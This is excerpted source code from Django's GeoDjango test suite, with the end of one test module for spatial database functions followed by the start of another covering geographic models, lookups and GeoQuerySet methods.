        invalid = State.objects.filter(name='invalid').annotate(repaired=functions.MakeValid('poly')).first()
        self.assertIs(invalid.repaired.valid, True)
        self.assertEqual(invalid.repaired, fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 0 0))'))

    @skipUnlessDBFeature("has_MemSize_function")
    def test_memsize(self):
        ptown = City.objects.annotate(size=functions.MemSize('point')).get(name='Pueblo')
        self.assertTrue(20 <= ptown.size <= 40)  # Exact value may depend on PostGIS version

    @skipUnlessDBFeature("has_NumGeom_function")
    def test_num_geom(self):
        # Both 'countries' only have two geometries.
        for c in Country.objects.annotate(num_geom=functions.NumGeometries('mpoly')):
            self.assertEqual(2, c.num_geom)

        qs = City.objects.filter(point__isnull=False).annotate(num_geom=functions.NumGeometries('point'))
        for city in qs:
            # Oracle and PostGIS return 1 for the number of geometries on
            # non-collections, whereas MySQL returns None.
            if mysql:
                self.assertIsNone(city.num_geom)
            else:
                self.assertEqual(1, city.num_geom)

    @skipUnlessDBFeature("has_NumPoint_function")
    def test_num_points(self):
        coords = [(-95.363151, 29.763374), (-95.448601, 29.713803)]
        Track.objects.create(name='Foo', line=LineString(coords))
        qs = Track.objects.annotate(num_points=functions.NumPoints('line'))
        self.assertEqual(qs.first().num_points, 2)
        if spatialite or mysql:
            # SpatiaLite and MySQL can only count points on LineStrings
            return

        for c in Country.objects.annotate(num_points=functions.NumPoints('mpoly')):
            self.assertEqual(c.mpoly.num_points, c.num_points)

        if not oracle:
            # Oracle cannot count vertices in Point geometries.
            for c in City.objects.annotate(num_points=functions.NumPoints('point')):
                self.assertEqual(1, c.num_points)

    @skipUnlessDBFeature("has_PointOnSurface_function")
    def test_point_on_surface(self):
        # Reference values.
        if oracle:
            # SELECT SDO_UTIL.TO_WKTGEOMETRY(SDO_GEOM.SDO_POINTONSURFACE(GEOAPP_COUNTRY.MPOLY, 0.05))
            # FROM GEOAPP_COUNTRY;
            ref = {'New Zealand': fromstr('POINT (174.616364 -36.100861)', srid=4326),
                   'Texas': fromstr('POINT (-103.002434 36.500397)', srid=4326),
                   }
        else:
            # Using GEOSGeometry to compute the reference point on surface values
            # -- since PostGIS also uses GEOS these should be the same.
            ref = {'New Zealand': Country.objects.get(name='New Zealand').mpoly.point_on_surface,
                   'Texas': Country.objects.get(name='Texas').mpoly.point_on_surface
                   }

        qs = Country.objects.annotate(point_on_surface=functions.PointOnSurface('mpoly'))
        for country in qs:
            tol = 0.00001  # SpatiaLite might have WKT-translation-related precision issues
            self.assertTrue(ref[country.name].equals_exact(country.point_on_surface, tol))

    @skipUnlessDBFeature("has_Reverse_function")
    def test_reverse_geom(self):
        coords = [(-95.363151, 29.763374), (-95.448601, 29.713803)]
        Track.objects.create(name='Foo', line=LineString(coords))
        track = Track.objects.annotate(reverse_geom=functions.Reverse('line')).get(name='Foo')
        coords.reverse()
        self.assertEqual(tuple(coords), track.reverse_geom.coords)

    @skipUnlessDBFeature("has_Scale_function")
    def test_scale(self):
        xfac, yfac = 2, 3
        tol = 5  # The low precision tolerance is for SpatiaLite
        qs = Country.objects.annotate(scaled=functions.Scale('mpoly', xfac, yfac))
        for country in qs:
            for p1, p2 in zip(country.mpoly, country.scaled):
                for r1, r2 in zip(p1, p2):
                    for c1, c2 in zip(r1.coords, r2.coords):
                        self.assertAlmostEqual(c1[0] * xfac, c2[0], tol)
                        self.assertAlmostEqual(c1[1] * yfac, c2[1], tol)
        # Test float/Decimal values
        qs = Country.objects.annotate(scaled=functions.Scale('mpoly', 1.5, Decimal('2.5')))
        self.assertGreater(qs[0].scaled.area, qs[0].mpoly.area)

    @skipUnlessDBFeature("has_SnapToGrid_function")
    def test_snap_to_grid(self):
        # Let's try and break snap_to_grid() with bad combinations of arguments.
        for bad_args in ((), range(3), range(5)):
            with self.assertRaises(ValueError):
                Country.objects.annotate(snap=functions.SnapToGrid('mpoly', *bad_args))
        for bad_args in (('1.0',), (1.0, None), tuple(map(six.text_type, range(4)))):
            with self.assertRaises(TypeError):
                Country.objects.annotate(snap=functions.SnapToGrid('mpoly', *bad_args))

        # Boundary for San Marino, courtesy of Bjorn Sandvik of thematicmapping.org
        # from the world borders dataset he provides.
        wkt = ('MULTIPOLYGON(((12.41580 43.95795,12.45055 43.97972,12.45389 43.98167,'
               '12.46250 43.98472,12.47167 43.98694,12.49278 43.98917,'
               '12.50555 43.98861,12.51000 43.98694,12.51028 43.98277,'
               '12.51167 43.94333,12.51056 43.93916,12.49639 43.92333,'
               '12.49500 43.91472,12.48778 43.90583,12.47444 43.89722,'
               '12.46472 43.89555,12.45917 43.89611,12.41639 43.90472,'
               '12.41222 43.90610,12.40782 43.91366,12.40389 43.92667,'
               '12.40500 43.94833,12.40889 43.95499,12.41580 43.95795)))')
        Country.objects.create(name='San Marino', mpoly=fromstr(wkt))

        # Because floating-point arithmetic isn't exact, we set a tolerance
        # to pass into GEOS `equals_exact`.
        tol = 0.000000001

        # SELECT AsText(ST_SnapToGrid("geoapp_country"."mpoly", 0.1)) FROM "geoapp_country"
        # WHERE "geoapp_country"."name" = 'San Marino';
        ref = fromstr('MULTIPOLYGON(((12.4 44,12.5 44,12.5 43.9,12.4 43.9,12.4 44)))')
        self.assertTrue(
            ref.equals_exact(
                Country.objects.annotate(
                    snap=functions.SnapToGrid('mpoly', 0.1)
                ).get(name='San Marino').snap,
                tol
            )
        )

        # SELECT AsText(ST_SnapToGrid("geoapp_country"."mpoly", 0.05, 0.23)) FROM "geoapp_country"
        # WHERE "geoapp_country"."name" = 'San Marino';
        ref = fromstr('MULTIPOLYGON(((12.4 43.93,12.45 43.93,12.5 43.93,12.45 43.93,12.4 43.93)))')
        self.assertTrue(
            ref.equals_exact(
                Country.objects.annotate(
                    snap=functions.SnapToGrid('mpoly', 0.05, 0.23)
                ).get(name='San Marino').snap,
                tol
            )
        )

        # SELECT AsText(ST_SnapToGrid("geoapp_country"."mpoly", 0.5, 0.17, 0.05, 0.23)) FROM "geoapp_country"
        # WHERE "geoapp_country"."name" = 'San Marino';
        ref = fromstr(
            'MULTIPOLYGON(((12.4 43.87,12.45 43.87,12.45 44.1,12.5 44.1,12.5 43.87,12.45 43.87,12.4 43.87)))'
        )
        self.assertTrue(
            ref.equals_exact(
                Country.objects.annotate(
                    snap=functions.SnapToGrid('mpoly', 0.05, 0.23, 0.5, 0.17)
                ).get(name='San Marino').snap,
                tol
            )
        )

    @skipUnlessDBFeature("has_SymDifference_function")
    def test_sym_difference(self):
        geom = Point(5, 23, srid=4326)
        qs = Country.objects.annotate(sym_difference=functions.SymDifference('mpoly', geom))
        # Oracle does something screwy with the Texas geometry.
        if oracle:
            qs = qs.exclude(name='Texas')
        for country in qs:
            self.assertTrue(country.mpoly.sym_difference(geom).equals(country.sym_difference))

    @skipUnlessDBFeature("has_Transform_function")
    def test_transform(self):
        # Pre-transformed points for Houston and Pueblo.
        ptown = fromstr('POINT(992363.390841912 481455.395105533)', srid=2774)
        prec = 3  # Precision is low due to version variations in PROJ and GDAL.

        # Asserting the result of the transform operation with the values in
        #  the pre-transformed points.
        h = City.objects.annotate(pt=functions.Transform('point', ptown.srid)).get(name='Pueblo')
        self.assertEqual(2774, h.pt.srid)
        self.assertAlmostEqual(ptown.x, h.pt.x, prec)
        self.assertAlmostEqual(ptown.y, h.pt.y, prec)

    @skipUnlessDBFeature("has_Translate_function")
    def test_translate(self):
        xfac, yfac = 5, -23
        qs = Country.objects.annotate(translated=functions.Translate('mpoly', xfac, yfac))
        for c in qs:
            for p1, p2 in zip(c.mpoly, c.translated):
                for r1, r2 in zip(p1, p2):
                    for c1, c2 in zip(r1.coords, r2.coords):
                        # The low precision is for SpatiaLite
                        self.assertAlmostEqual(c1[0] + xfac, c2[0], 5)
                        self.assertAlmostEqual(c1[1] + yfac, c2[1], 5)

    # Some combined function tests
    @skipUnlessDBFeature(
        "has_Difference_function", "has_Intersection_function",
        "has_SymDifference_function", "has_Union_function")
    def test_diff_intersection_union(self):
        "Testing the `difference`, `intersection`, `sym_difference`, and `union` GeoQuerySet methods."
        geom = Point(5, 23, srid=4326)
        qs = Country.objects.all().annotate(
            difference=functions.Difference('mpoly', geom),
            sym_difference=functions.SymDifference('mpoly', geom),
            union=functions.Union('mpoly', geom),
        )

        # For some reason SpatiaLite does something screwy with the Texas geometry here.
        # Also, it doesn't like the null intersection.
        if spatialite:
            qs = qs.exclude(name='Texas')
        else:
            qs = qs.annotate(intersection=functions.Intersection('mpoly', geom))

        if oracle:
            # Should be able to execute the queries; however, they won't be the same
            # as GEOS (because Oracle doesn't use GEOS internally like PostGIS or
            # SpatiaLite).
            return
        for c in qs:
            self.assertTrue(c.mpoly.difference(geom).equals(c.difference))
            if not (spatialite or mysql):
                self.assertEqual(c.mpoly.intersection(geom), c.intersection)
            self.assertTrue(c.mpoly.sym_difference(geom).equals(c.sym_difference))
            self.assertTrue(c.mpoly.union(geom).equals(c.union))

    @skipUnlessDBFeature("has_Union_function")
    def test_union(self):
        geom = Point(-95.363151, 29.763374, srid=4326)
        ptown = City.objects.annotate(union=functions.Union('point', geom)).get(name='Dallas')
        tol = 0.00001
        # Undefined ordering
        expected1 = fromstr('MULTIPOINT(-96.801611 32.782057,-95.363151 29.763374)', srid=4326)
        expected2 = fromstr('MULTIPOINT(-95.363151 29.763374,-96.801611 32.782057)', srid=4326)
        self.assertTrue(expected1.equals_exact(ptown.union, tol) or expected2.equals_exact(ptown.union, tol))












from __future__ import unicode_literals

import re
import tempfile

from django.contrib.gis import gdal
from django.contrib.gis.db.models import Extent, MakeLine, Union
from django.contrib.gis.geos import (
    GeometryCollection, GEOSGeometry, LinearRing, LineString, Point, Polygon,
    fromstr,
)
from django.core.management import call_command
from django.db import connection
from django.test import TestCase, ignore_warnings, skipUnlessDBFeature
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning

from ..utils import no_oracle, oracle, postgis, skipUnlessGISLookup, spatialite
from .models import (
    City, Country, Feature, MinusOneSRID, NonConcreteModel, PennsylvaniaCity,
    State, Track,
)


@skipUnlessDBFeature("gis_enabled")
class GeoModelTest(TestCase):
    fixtures = ['initial']

    def test_fixtures(self):
        "Testing geographic model initialization from fixtures."
        # Ensuring that data was loaded from initial data fixtures.
        self.assertEqual(2, Country.objects.count())
        self.assertEqual(8, City.objects.count())
        self.assertEqual(2, State.objects.count())

    def test_proxy(self):
        "Testing Lazy-Geometry support (using the GeometryProxy)."
        # Testing on a Point
        pnt = Point(0, 0)
        nullcity = City(name='NullCity', point=pnt)
        nullcity.save()

        # Making sure TypeError is thrown when trying to set with an
        #  incompatible type.
        for bad in [5, 2.0, LineString((0, 0), (1, 1))]:
            with self.assertRaisesMessage(TypeError, 'Cannot set'):
                nullcity.point = bad

        # Now setting with a compatible GEOS Geometry, saving, and ensuring
        #  the save took, notice no SRID is explicitly set.
        new = Point(5, 23)
        nullcity.point = new

        # Ensuring that the SRID is automatically set to that of the
        #  field after assignment, but before saving.
        self.assertEqual(4326, nullcity.point.srid)
        nullcity.save()

        # Ensuring the point was saved correctly after saving
        self.assertEqual(new, City.objects.get(name='NullCity').point)

        # Setting the X and Y of the Point
        nullcity.point.x = 23
        nullcity.point.y = 5
        # Checking assignments pre & post-save.
        self.assertNotEqual(Point(23, 5), City.objects.get(name='NullCity').point)
        nullcity.save()
        self.assertEqual(Point(23, 5), City.objects.get(name='NullCity').point)
        nullcity.delete()

        # Testing on a Polygon
        shell = LinearRing((0, 0), (0, 100), (100, 100), (100, 0), (0, 0))
        inner = LinearRing((40, 40), (40, 60), (60, 60), (60, 40), (40, 40))

        # Creating a State object using a built Polygon
        ply = Polygon(shell, inner)
        nullstate = State(name='NullState', poly=ply)
        self.assertEqual(4326, nullstate.poly.srid)  # SRID auto-set from None
        nullstate.save()

        ns = State.objects.get(name='NullState')
        self.assertEqual(ply, ns.poly)

        # Testing the `ogr` and `srs` lazy-geometry properties.
        if gdal.HAS_GDAL:
            self.assertIsInstance(ns.poly.ogr, gdal.OGRGeometry)
            self.assertEqual(ns.poly.wkb, ns.poly.ogr.wkb)
            self.assertIsInstance(ns.poly.srs, gdal.SpatialReference)
            self.assertEqual('WGS 84', ns.poly.srs.name)

        # Changing the interior ring on the poly attribute.
        new_inner = LinearRing((30, 30), (30, 70), (70, 70), (70, 30), (30, 30))
        ns.poly[1] = new_inner
        ply[1] = new_inner
        self.assertEqual(4326, ns.poly.srid)
        ns.save()
        self.assertEqual(ply, State.objects.get(name='NullState').poly)
        ns.delete()

    @skipUnlessDBFeature("supports_transform")
    def test_lookup_insert_transform(self):
        "Testing automatic transform for lookups and inserts."
        # San Antonio in 'WGS84' (SRID 4326)
        sa_4326 = 'POINT (-98.493183 29.424170)'
        wgs_pnt = fromstr(sa_4326, srid=4326)  # Our reference point in WGS84

        # Oracle doesn't have SRID 3084, using 41157.
        if oracle:
            # San Antonio in 'Texas 4205, Southern Zone (1983, meters)' (SRID 41157)
            # Used the following Oracle SQL to get this value:
            #  SELECT SDO_UTIL.TO_WKTGEOMETRY(
            #    SDO_CS.TRANSFORM(SDO_GEOMETRY('POINT (-98.493183 29.424170)', 4326), 41157))
            #  )
            #  FROM DUAL;
            nad_wkt = 'POINT (300662.034646583 5416427.45974934)'
            nad_srid = 41157
        else:
            # San Antonio in 'NAD83(HARN) / Texas Centric Lambert Conformal' (SRID 3084)
            # Used ogr.py in gdal 1.4.1 for this transform
            nad_wkt = 'POINT (1645978.362408288754523 6276356.025927528738976)'
            nad_srid = 3084

        # Constructing & querying with a point from a different SRID. Oracle
        # `SDO_OVERLAPBDYINTERSECT` operates differently from
        # `ST_Intersects`, so contains is used instead.
        nad_pnt = fromstr(nad_wkt, srid=nad_srid)
        if oracle:
            tx = Country.objects.get(mpoly__contains=nad_pnt)
        else:
            tx = Country.objects.get(mpoly__intersects=nad_pnt)
        self.assertEqual('Texas', tx.name)

        # Creating San Antonio.  Remember the Alamo.
        sa = City.objects.create(name='San Antonio', point=nad_pnt)

        # Now verifying that San Antonio was transformed correctly
        sa = City.objects.get(name='San Antonio')
        self.assertAlmostEqual(wgs_pnt.x, sa.point.x, 6)
        self.assertAlmostEqual(wgs_pnt.y, sa.point.y, 6)

        # If the GeometryField SRID is -1, then we shouldn't perform any
        # transformation if the SRID of the input geometry is different.
        m1 = MinusOneSRID(geom=Point(17, 23, srid=4326))
        m1.save()
        self.assertEqual(-1, m1.geom.srid)

    def test_createnull(self):
        "Testing creating a model instance and the geometry being None"
        c = City()
        self.assertIsNone(c.point)

    def test_geometryfield(self):
        "Testing the general GeometryField."
        Feature(name='Point', geom=Point(1, 1)).save()
        Feature(name='LineString', geom=LineString((0, 0), (1, 1), (5, 5))).save()
        Feature(name='Polygon', geom=Polygon(LinearRing((0, 0), (0, 5), (5, 5), (5, 0), (0, 0)))).save()
        Feature(name='GeometryCollection',
                geom=GeometryCollection(Point(2, 2), LineString((0, 0), (2, 2)),
                                        Polygon(LinearRing((0, 0), (0, 5), (5, 5), (5, 0), (0, 0))))).save()

        f_1 = Feature.objects.get(name='Point')
        self.assertIsInstance(f_1.geom, Point)
        self.assertEqual((1.0, 1.0), f_1.geom.tuple)
        f_2 = Feature.objects.get(name='LineString')
        self.assertIsInstance(f_2.geom, LineString)
        self.assertEqual(((0.0, 0.0), (1.0, 1.0), (5.0, 5.0)), f_2.geom.tuple)

        f_3 = Feature.objects.get(name='Polygon')
        self.assertIsInstance(f_3.geom, Polygon)
        f_4 = Feature.objects.get(name='GeometryCollection')
        self.assertIsInstance(f_4.geom, GeometryCollection)
        self.assertEqual(f_3.geom, f_4.geom[2])

    @skipUnlessDBFeature("supports_transform")
    def test_inherited_geofields(self):
        "Test GeoQuerySet methods on inherited Geometry fields."
        # Creating a Pennsylvanian city.
        PennsylvaniaCity.objects.create(name='Mansfield', county='Tioga', point='POINT(-77.071445 41.823881)')

        # All transformation SQL will need to be performed on the
        # _parent_ table.
        qs = PennsylvaniaCity.objects.transform(32128)

        self.assertEqual(1, qs.count())
        for pc in qs:
            self.assertEqual(32128, pc.point.srid)

    def test_raw_sql_query(self):
        "Testing raw SQL query."
        cities1 = City.objects.all()
        # Only PostGIS would support a 'select *' query because of its recognized
        # HEXEWKB format for geometry fields
        as_text = 'ST_AsText(%s)' if postgis else connection.ops.select
        cities2 = City.objects.raw(
            'select id, name, %s from geoapp_city' % as_text % 'point'
        )
        self.assertEqual(len(cities1), len(list(cities2)))
        self.assertIsInstance(cities2[0].point, Point)

    def test_dumpdata_loaddata_cycle(self):
        """
        Test a dumpdata/loaddata cycle with geographic data.
        """
        out = six.StringIO()
        original_data = list(City.objects.all().order_by('name'))
        call_command('dumpdata', 'geoapp.City', stdout=out)
        result = out.getvalue()
        houston = City.objects.get(name='Houston')
        self.assertIn('"point": "%s"' % houston.point.ewkt, result)

        # Reload now dumped data
        with tempfile.NamedTemporaryFile(mode='w', suffix='.json') as tmp:
            tmp.write(result)
            tmp.seek(0)
            call_command('loaddata', tmp.name, verbosity=0)
        self.assertListEqual(original_data, list(City.objects.all().order_by('name')))


@skipUnlessDBFeature("gis_enabled")
class GeoLookupTest(TestCase):
    fixtures = ['initial']

    def test_disjoint_lookup(self):
        "Testing the `disjoint` lookup type."
        ptown = City.objects.get(name='Pueblo')
        qs1 = City.objects.filter(point__disjoint=ptown.point)
        self.assertEqual(7, qs1.count())

        if connection.features.supports_real_shape_operations:
            qs2 = State.objects.filter(poly__disjoint=ptown.point)
            self.assertEqual(1, qs2.count())
            self.assertEqual('Kansas', qs2[0].name)

    def test_contains_contained_lookups(self):
        "Testing the 'contained', 'contains', and 'bbcontains' lookup types."
        # Getting Texas, yes we were a country -- once ;)
        texas = Country.objects.get(name='Texas')

        # Seeing what cities are in Texas, should get Houston and Dallas,
        #  and Oklahoma City because 'contained' only checks on the
        #  _bounding box_ of the Geometries.
        if connection.features.supports_contained_lookup:
            qs = City.objects.filter(point__contained=texas.mpoly)
            self.assertEqual(3, qs.count())
            cities = ['Houston', 'Dallas', 'Oklahoma City']
            for c in qs:
                self.assertIn(c.name, cities)

        # Pulling out some cities.
        houston = City.objects.get(name='Houston')
        wellington = City.objects.get(name='Wellington')
        pueblo = City.objects.get(name='Pueblo')
        okcity = City.objects.get(name='Oklahoma City')
        lawrence = City.objects.get(name='Lawrence')

        # Now testing contains on the countries using the points for
        #  Houston and Wellington.
        tx = Country.objects.get(mpoly__contains=houston.point)  # Query w/GEOSGeometry
        nz = Country.objects.get(mpoly__contains=wellington.point.hex)  # Query w/EWKBHEX
        self.assertEqual('Texas', tx.name)
        self.assertEqual('New Zealand', nz.name)

        # Testing `contains` on the states using the point for Lawrence.
        ks = State.objects.get(poly__contains=lawrence.point)
        self.assertEqual('Kansas', ks.name)

        # Pueblo and Oklahoma City (even though OK City is within the bounding box of Texas)
        # are not contained in Texas or New Zealand.
        self.assertEqual(len(Country.objects.filter(mpoly__contains=pueblo.point)), 0)  # Query w/GEOSGeometry object
        self.assertEqual(len(Country.objects.filter(mpoly__contains=okcity.point.wkt)),
                         0 if connection.features.supports_real_shape_operations else 1)  # Query w/WKT

        # OK City is contained w/in bounding box of Texas.
        if connection.features.supports_bbcontains_lookup:
            qs = Country.objects.filter(mpoly__bbcontains=okcity.point)
            self.assertEqual(1, len(qs))
            self.assertEqual('Texas', qs[0].name)

    @skipUnlessDBFeature("supports_crosses_lookup")
    def test_crosses_lookup(self):
        Track.objects.create(
            name='Line1',
            line=LineString([(-95, 29), (-60, 0)])
        )
        self.assertEqual(
            Track.objects.filter(line__crosses=LineString([(-95, 0), (-60, 29)])).count(),
            1
        )
        self.assertEqual(
            Track.objects.filter(line__crosses=LineString([(-95, 30), (0, 30)])).count(),
            0
        )

    @skipUnlessDBFeature("supports_isvalid_lookup")
    def test_isvalid_lookup(self):
        invalid_geom = fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 1 1, 1 0, 0 0))')
        State.objects.create(name='invalid', poly=invalid_geom)
        self.assertEqual(State.objects.filter(poly__isvalid=False).count(), 1)
        self.assertEqual(State.objects.filter(poly__isvalid=True).count(), State.objects.count() - 1)

    @skipUnlessDBFeature("supports_left_right_lookups")
    def test_left_right_lookups(self):
        "Testing the 'left' and 'right' lookup types."
        # Left: A << B => true if xmax(A) < xmin(B)
        # Right: A >> B => true if xmin(A) > xmax(B)
        # See: BOX2D_left() and BOX2D_right() in lwgeom_box2dfloat4.c in PostGIS source.

        # Getting the borders for Colorado & Kansas
        co_border = State.objects.get(name='Colorado').poly
        ks_border = State.objects.get(name='Kansas').poly

        # Note: Wellington has an 'X' value of 174, so it will not be considered
        # to the left of CO.

        # These cities should be strictly to the right of the CO border.
        cities = ['Houston', 'Dallas', 'Oklahoma City',
                  'Lawrence', 'Chicago', 'Wellington']
        qs = City.objects.filter(point__right=co_border)
        self.assertEqual(6, len(qs))
        for c in qs:
            self.assertIn(c.name, cities)

        # These cities should be strictly to the right of the KS border.
        cities = ['Chicago', 'Wellington']
        qs = City.objects.filter(point__right=ks_border)
        self.assertEqual(2, len(qs))
        for c in qs:
            self.assertIn(c.name, cities)

        # Note: Wellington has an 'X' value of 174, so it will not be considered
        #  to the left of CO.
        vic = City.objects.get(point__left=co_border)
        self.assertEqual('Victoria', vic.name)

        cities = ['Pueblo', 'Victoria']
        qs = City.objects.filter(point__left=ks_border)
        self.assertEqual(2, len(qs))
        for c in qs:
            self.assertIn(c.name, cities)

    @skipUnlessGISLookup("strictly_above", "strictly_below")
    def test_strictly_above_below_lookups(self):
        dallas = City.objects.get(name='Dallas')
        self.assertQuerysetEqual(
            City.objects.filter(point__strictly_above=dallas.point).order_by('name'),
            ['Chicago', 'Lawrence', 'Oklahoma City', 'Pueblo', 'Victoria'],
            lambda b: b.name
        )
        self.assertQuerysetEqual(
            City.objects.filter(point__strictly_below=dallas.point).order_by('name'),
            ['Houston', 'Wellington'],
            lambda b: b.name
        )

    def test_equals_lookups(self):
        "Testing the 'same_as' and 'equals' lookup types."
        pnt = fromstr('POINT (-95.363151 29.763374)', srid=4326)
        c1 = City.objects.get(point=pnt)
        c2 = City.objects.get(point__same_as=pnt)
        c3 = City.objects.get(point__equals=pnt)
        for c in [c1, c2, c3]:
            self.assertEqual('Houston', c.name)

    @skipUnlessDBFeature("supports_null_geometries")
    def test_null_geometries(self):
        "Testing NULL geometry support, and the `isnull` lookup type."
        # Creating a state with a NULL boundary.
        State.objects.create(name='Puerto Rico')

        # Querying for both NULL and Non-NULL values.
        nullqs = State.objects.filter(poly__isnull=True)
        validqs = State.objects.filter(poly__isnull=False)

        # Puerto Rico should be NULL (it's a commonwealth unincorporated territory)
        self.assertEqual(1, len(nullqs))
        self.assertEqual('Puerto Rico', nullqs[0].name)

        # The valid states should be Colorado & Kansas
        self.assertEqual(2, len(validqs))
        state_names = [s.name for s in validqs]
        self.assertIn('Colorado', state_names)
        self.assertIn('Kansas', state_names)

        # Saving another commonwealth w/a NULL geometry.
        nmi = State.objects.create(name='Northern Mariana Islands', poly=None)
        self.assertIsNone(nmi.poly)

        # Assigning a geometry and saving -- then UPDATE back to NULL.
        nmi.poly = 'POLYGON((0 0,1 0,1 1,1 0,0 0))'
        nmi.save()
        State.objects.filter(name='Northern Mariana Islands').update(poly=None)
        self.assertIsNone(State.objects.get(name='Northern Mariana Islands').poly)

    @skipUnlessDBFeature("supports_relate_lookup")
    def test_relate_lookup(self):
        "Testing the 'relate' lookup type."
        # To make things more interesting, we will have our Texas reference point in
        # different SRIDs.
        pnt1 = fromstr('POINT (649287.0363174 4177429.4494686)', srid=2847)
        pnt2 = fromstr('POINT(-98.4919715741052 29.4333344025053)', srid=4326)

        # Not passing in a geometry as first param should
        # raise a type error when initializing the GeoQuerySet
        with self.assertRaises(ValueError):
            Country.objects.filter(mpoly__relate=(23, 'foo'))

        # Making sure the right exception is raised for the given
        # bad arguments.
        for bad_args, e in [((pnt1, 0), ValueError), ((pnt2, 'T*T***FF*', 0), ValueError)]:
            qs = Country.objects.filter(mpoly__relate=bad_args)
            with self.assertRaises(e):
                qs.count()

        # Relate works differently for the different backends.
        if postgis or spatialite:
            contains_mask = 'T*T***FF*'
            within_mask = 'T*F**F***'
            intersects_mask = 'T********'
        elif oracle:
            contains_mask = 'contains'
            within_mask = 'inside'
            # TODO: This is not quite the same as the PostGIS mask above
            intersects_mask = 'overlapbdyintersect'

        # Testing contains relation mask.
        self.assertEqual('Texas', Country.objects.get(mpoly__relate=(pnt1, contains_mask)).name)
        self.assertEqual('Texas', Country.objects.get(mpoly__relate=(pnt2, contains_mask)).name)

        # Testing within relation mask.
        ks = State.objects.get(name='Kansas')
        self.assertEqual('Lawrence', City.objects.get(point__relate=(ks.poly, within_mask)).name)

        # Testing intersection relation mask.
        if not oracle:
            self.assertEqual('Texas', Country.objects.get(mpoly__relate=(pnt1, intersects_mask)).name)
            self.assertEqual('Texas', Country.objects.get(mpoly__relate=(pnt2, intersects_mask)).name)
            self.assertEqual('Lawrence', City.objects.get(point__relate=(ks.poly, intersects_mask)).name)


@skipUnlessDBFeature("gis_enabled")
@ignore_warnings(category=RemovedInDjango20Warning)
class GeoQuerySetTest(TestCase):
    fixtures = ['initial']

    # Please keep the tests in GeoQuerySet method's alphabetic order

    @skipUnlessDBFeature("has_centroid_method")
    def test_centroid(self):
        "Testing the `centroid` GeoQuerySet method."
        qs = State.objects.exclude(poly__isnull=True).centroid()
        if oracle:
            tol = 0.1
        elif spatialite:
            tol = 0.000001
        else:
            tol = 0.000000001
        for s in qs:
            self.assertTrue(s.poly.centroid.equals_exact(s.centroid, tol))

    @skipUnlessDBFeature(
        "has_difference_method", "has_intersection_method",
        "has_sym_difference_method", "has_union_method")
    def test_diff_intersection_union(self):
        "Testing the `difference`, `intersection`, `sym_difference`, and `union` GeoQuerySet methods."
        geom = Point(5, 23)
        qs = Country.objects.all().difference(geom).sym_difference(geom).union(geom)

        # XXX For some reason SpatiaLite does something screwy with the Texas geometry here.  Also,
        # XXX it doesn't like the null intersection.
        if spatialite:
            qs = qs.exclude(name='Texas')
        else:
            qs = qs.intersection(geom)

        for c in qs:
            if oracle:
                # Should be able to execute the queries; however, they won't be the same
                # as GEOS (because Oracle doesn't use GEOS internally like PostGIS or
                # SpatiaLite).
                pass
            else:
                self.assertEqual(c.mpoly.difference(geom), c.difference)
                if not spatialite:
                    self.assertEqual(c.mpoly.intersection(geom), c.intersection)
                # Ordering might differ in collections
                self.assertSetEqual(set(g.wkt for g in c.mpoly.sym_difference(geom)),
                                    set(g.wkt for g in c.sym_difference))
                self.assertSetEqual(set(g.wkt for g in c.mpoly.union(geom)),
                                    set(g.wkt for g in c.union))

    @skipUnlessDBFeature("has_envelope_method")
    def test_envelope(self):
        "Testing the `envelope` GeoQuerySet method."
        countries = Country.objects.all().envelope()
        for country in countries:
            self.assertIsInstance(country.envelope, Polygon)

    @skipUnlessDBFeature("supports_extent_aggr")
    def test_extent(self):
        """
        Testing the `Extent` aggregate.
        """
        # Reference query:
        # `SELECT ST_extent(point) FROM geoapp_city WHERE (name='Houston' or name='Dallas');`
        #   =>  BOX(-96.8016128540039 29.7633724212646,-95.3631439208984 32.7820587158203)
        expected = (-96.8016128540039, 29.7633724212646, -95.3631439208984, 32.782058715820)

        qs = City.objects.filter(name__in=('Houston', 'Dallas'))
        extent = qs.aggregate(Extent('point'))['point__extent']
        for val, exp in zip(extent, expected):
            self.assertAlmostEqual(exp, val, 4)
        self.assertIsNone(City.objects.filter(name=('Smalltown')).aggregate(Extent('point'))['point__extent'])

    @skipUnlessDBFeature("supports_extent_aggr")
    def test_extent_with_limit(self):
        """
        Testing if extent supports limit.
        """
        extent1 = City.objects.all().aggregate(Extent('point'))['point__extent']
        extent2 = City.objects.all()[:3].aggregate(Extent('point'))['point__extent']
        self.assertNotEqual(extent1, extent2)

    @skipUnlessDBFeature("has_force_rhr_method")
    def test_force_rhr(self):
        "Testing GeoQuerySet.force_rhr()."
        rings = (
            ((0, 0), (5, 0), (0, 5), (0, 0)),
            ((1, 1), (1, 3), (3, 1), (1, 1)),
        )
        rhr_rings = (
            ((0, 0), (0, 5), (5, 0), (0, 0)),
            ((1, 1), (3, 1), (1, 3), (1, 1)),
        )
        State.objects.create(name='Foo', poly=Polygon(*rings))
        s = State.objects.force_rhr().get(name='Foo')
        self.assertEqual(rhr_rings, s.force_rhr.coords)

    @skipUnlessDBFeature("has_geohash_method")
    def test_geohash(self):
        "Testing GeoQuerySet.geohash()."
        # Reference query:
        # SELECT ST_GeoHash(point) FROM geoapp_city WHERE name='Houston';
        # SELECT ST_GeoHash(point, 5) FROM geoapp_city WHERE name='Houston';
        ref_hash = '9vk1mfq8jx0c8e0386z6'
        h1 = City.objects.geohash().get(name='Houston')
        h2 = City.objects.geohash(precision=5).get(name='Houston')
        self.assertEqual(ref_hash, h1.geohash)
        self.assertEqual(ref_hash[:5], h2.geohash)

    def test_geojson(self):
        "Testing GeoJSON output from the database using GeoQuerySet.geojson()."
        # Only PostGIS and SpatiaLite support GeoJSON.
        if not connection.ops.geojson:
            with self.assertRaises(NotImplementedError):
                Country.objects.all().geojson(field_name='mpoly')
            return

        pueblo_json = '{"type":"Point","coordinates":[-104.609252,38.255001]}'
        houston_json = (
            '{"type":"Point","crs":{"type":"name","properties":'
            '{"name":"EPSG:4326"}},"coordinates":[-95.363151,29.763374]}'
        )
        victoria_json = (
            '{"type":"Point","bbox":[-123.30519600,48.46261100,-123.30519600,48.46261100],'
            '"coordinates":[-123.305196,48.462611]}'
        )
        chicago_json = (
            '{"type":"Point","crs":{"type":"name","properties":{"name":"EPSG:4326"}},'
            '"bbox":[-87.65018,41.85039,-87.65018,41.85039],"coordinates":[-87.65018,41.85039]}'
        )
        if spatialite:
            victoria_json = (
